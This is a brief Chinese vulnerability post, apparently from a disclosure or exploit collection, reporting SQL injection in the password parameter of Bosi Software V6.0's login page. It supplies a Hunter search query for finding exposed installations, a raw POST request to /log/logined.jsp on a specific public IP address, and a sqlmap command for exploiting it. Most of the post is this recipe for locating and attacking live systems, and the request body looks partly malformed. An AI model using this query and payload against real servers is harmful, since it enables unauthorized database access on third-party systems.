福建博思软件股份有限公司博斯软件 V6.0 存在 sql 注入

1、hunter

web.title:"欢迎使用 博斯软件"

2、部分界面如下

3、数据包如下，隐患参数 password

POST /log/logined.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://49.73.148.125:8082/
Cookie: JSESSIONID=80D835813F9733E867790648CBAA0EC6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4298.0 Safari/537.36
Host: 49.73.148.125:8082

Connection: Keep-alive

Submit=-1A&account=-1password=g-1

4、sqlmap 验证如下

python3 sqlmap.py -r 2.txt --level 3 --thread 5